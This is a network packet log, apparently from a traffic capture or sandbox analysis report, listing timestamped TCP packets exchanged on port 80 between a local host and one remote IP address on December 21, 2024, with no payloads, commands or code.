Dec 21, 2024 10:15:23.052637100 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.053634882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.053689003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.053760052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.053805113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.054831028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.054992914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.055042982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.055995941 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.056051016 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.056119919 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.056291103 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.057193995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.057241917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.057362080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.057550907 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.058427095 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.058461905 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.058475018 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.058506012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.059606075 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.059659004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.059664011 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.059703112 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.060741901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.060794115 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.060847998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.061064005 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.061954975 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.061999083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.062115908 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.062158108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.063164949 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.064099073 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.064157009 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.064328909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.064374924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.064441919 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.064488888 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.065532923 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.065642118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.065689087 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.066704035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.066800117 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.066847086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.067817926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.067874908 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.067919970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.069180965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.069217920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.069231987 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.069312096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.070249081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.070298910 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.070334911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.070380926 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.071393967 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.071511030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.071559906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.072626114 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.072689056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.072736979 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.072782040 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.073920012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.073955059 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.073965073 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.073997974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.075051069 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.075094938 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.075175047 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.076163054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.076210022 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.076216936 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.076260090 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.077323914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.077369928 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.077435970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.077480078 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.078507900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.078552008 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.078615904 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.078660011 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.079688072 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.079828978 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.079875946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.080845118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.080888987 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.080945015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.080988884 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.082031012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.082082987 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.082103014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.082145929 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.083257914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.083302021 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.083309889 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.083369970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.084427118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.084496975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.084539890 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.084587097 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.085601091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.085654020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.085731030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.085822105 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.086793900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.086849928 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.086894035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.087997913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.088051081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.088119984 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.089185953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.089236975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.089296103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.089342117 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.090466022 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.090501070 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.090550900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.091556072 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.091600895 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.091667891 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.091715097 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.092628002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.092681885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.222796917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.222857952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.222875118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.223007917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.223351955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.223404884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.223452091 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.224487066 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.224534988 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.224654913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.224694967 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.225753069 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.225789070 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.225806952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.225835085 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.226845980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.226890087 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.227011919 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.227051973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.228091955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.228259087 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.228305101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.229240894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.229288101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.229362965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.229403973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.230387926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.230431080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.230566025 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.230612993 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.231571913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.231623888 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.231668949 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.232841969 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.232886076 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.232943058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.232985973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.233994007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.234038115 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.234129906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.234174013 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.235127926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.235337973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.235383987 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.236315012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.236394882 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.236407995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.236454010 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.237577915 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.237631083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.237704992 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.237746954 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.238799095 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.238838911 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.239005089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.239048004 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.240194082 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.240315914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.240364075 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.241533995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.241578102 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.241626978 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.241671085 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.242505074 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.242608070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.242691040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.242736101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.243623972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.243762970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.243786097 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.243818998 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.245053053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.245105982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.245167971 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.245218992 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.246216059 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.246262074 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.246268034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.246309996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.247198105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.247240067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.247250080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.247293949 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.248187065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.248251915 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.248312950 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.248358011 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.249383926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.249429941 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.249501944 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.249548912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.250710964 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.250761032 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.250765085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.250816107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.251763105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.251812935 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.251815081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.252058983 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.253058910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.253096104 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.253108978 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.253139019 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.254070997 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.254117012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.254123926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.254164934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.255302906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.255363941 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.255371094 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.255517960 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.256437063 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.256490946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.256668091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.257272959 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.257654905 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.257709026 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.257924080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.257980108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.258802891 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.258838892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.258888960 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.260085106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.260140896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.260186911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.260760069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.261267900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.261333942 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.261487961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.262348890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.262497902 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.262564898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.262613058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.262701035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.263784885 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.263818979 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.263834953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.263864994 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.264833927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.264889002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.265022993 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.265088081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.265980005 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.266028881 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.266238928 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.266973019 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.267106056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.267216921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.267262936 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.268304110 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.268321037 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.268349886 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.268387079 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.268438101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.269490957 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.269556999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.269599915 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.269649982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.270694017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.270745993 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.270791054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.270850897 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.271802902 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.271857023 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.271971941 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.272485971 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.273053885 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.273152113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.273200035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.273850918 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.274240017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.274292946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.274323940 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.274374008 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.275401115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.275520086 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.275569916 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.276587009 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.276633978 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.276833057 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.277153015 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.277813911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.277893066 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.277946949 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.279228926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.279352903 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.279407024 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.280183077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.280231953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.280301094 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.280349970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.281356096 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.281402111 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.281514883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.281563044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.282490015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.282538891 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.282613993 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.282665968 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.283737898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.283926010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.283977032 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.284883976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.284929991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.416680098 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.416743994 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.416765928 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.416814089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.417186975 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.417254925 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.417258024 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.417304993 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.418375969 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.418436050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.418536901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.418617964 CET	49781	80	192.168.2.4	31.41.244.11
